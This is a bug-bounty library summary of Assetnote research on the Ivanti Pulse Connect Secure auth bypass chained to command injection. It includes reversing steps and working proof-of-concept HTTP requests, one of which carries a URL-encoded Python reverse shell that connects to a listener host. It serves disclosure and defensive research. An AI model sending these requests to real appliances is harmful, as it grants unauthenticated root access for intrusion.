# High Signal Detection and Exploitation of Ivanti's Pulse Connect Secure Auth Bypass & RCE

Ivanti Pulse Connect Secure auth bypass via prefix-only strncmp on /api/v1/totp/user-backup-code plus path traversal, chained to shell injection in license keys-status for root RCE.

- Payout: Real-world hack
- Severity: critical
- Program: Ivanti
- Analysis by: Assetnote
- Disclosed: 2025-02-12
- CVE: CVE-2023-46805, CVE-2024-21887
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/high-signal-detection-and-exploitation-of-ivantis-pulse-connect-secure-auth-bypass-rce
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-high-signal-detection-and-exploitation-of-ivantis-pulse-connect-secure-auth-bypass-rce
- Tags: area:devices domain:network impact:internal-access impact:rce kind:incident platform:research sev:critical tech:python technique:chained technique:reverse-engineering technique:source-review vuln:auth-bypass vuln:command-injection vuln:path-traversal

**Target:** SSL VPN appliance web/REST API (uWSGI restservice behind Perl proxy)
**Root cause:** The Perl proxy's doAuthCheck only strncmp's the /api/v1/totp/user-backup-code prefix, so appended ../ traversal reaches unauthenticated REST endpoints; the license keys-status handler passes node_name into subprocess.Popen with shell=True.
**Steps:**
1. Deploy ICS VM; decrypt LUKS by booting init=//bin/sh (bypasses /bin/sh blacklist) and reading /etc/lvmkey
2. Mount volumes, find restservice egg in venv3, enumerate API routes in restservice/api/init.py
3. Burp Intruder all routes unauthenticated: only /api/private/v1/license/watermarks/xxx [302] and /api/v1/totp/user-backup-code [405] respond non-403
4. Ghidra /root/home/bin/web: FUN_000ab66 doAuthCheck does strncmp(path,"/api/v1/totp/user-backup-code",0x1d) and returns true
5. Confirm bypass: `POST /api/v1/totp/user-backup-code/../../system/platform?operation=testConnectivity` returns 200
6. grep restservice/api for os.system/Popen; find license.py keys-status with shell=True and node_name concatenation
7. Send `GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b<url-encoded python reverse shell>%3b` and catch shell as root
**How found:** Public payloads returned 403 on older 9.1R11.4 builds, so they reverse-engineered the Perl proxy in Ghidra and noticed doAuthCheck only prefix-matched one path, then grepped the Python REST service for shell=True Popen sinks.
**Exploitation:** Unauthenticated attacker sends a single GET combining the prefix bypass and path traversal to /api/v1/license/keys-status/<node_name>, where node_name begins with a URL-encoded semicolon followed by a python reverse-shell one-liner; shell=True executes it as uid=0.
**Escalation:** Auth bypass (CVE-2023-46805) chained to command injection (CVE-2024-21887) yields unauthenticated root RCE on the VPN appliance.
**Insight:** When a proxy allowlists a path by strncmp prefix, append ../ traversal to reach any backend route; and grep the backend service for shell=True Popen with concatenated path params rather than trusting the advisory's endpoint list.

## Proof of concept (copied exactly from the original report)

**Auth bypass via totp path traversal**

```
POST /api/v1/totp/user-backup-code/../../system/platform?operation=testConnectivity HTTP/1.1
Host: 192.168.1.217
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146

{"result":["Destination host 192.168.1.1 used as Gateway Address is responding","Destination host 192.168.1.1 used as DNS Server is responding"]}
```

**RCE via license keys-status command injection**

```
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%39%32%2e%31%36%38%2e%31%2e%31%39%37%22%2c%34%34%34%34%29%29%3b%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%2c%73%74%64%69%6e%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%6f%75%74%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%65%72%72%3d%73%2e%66%69%6c%65%6e%6f%28%29%29%27%3b HTTP/1.1
Host: 192.168.1.211
```

**New auth bypass detection payload for older versions**

```
GET /api/v1/cav/client/status/../../admin/options

This will work on older versions of Ivanti Pulse Connect Secure, and typically will respond with something like the following:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 44

{"poll_interval": 300, "block_message": ""}
```

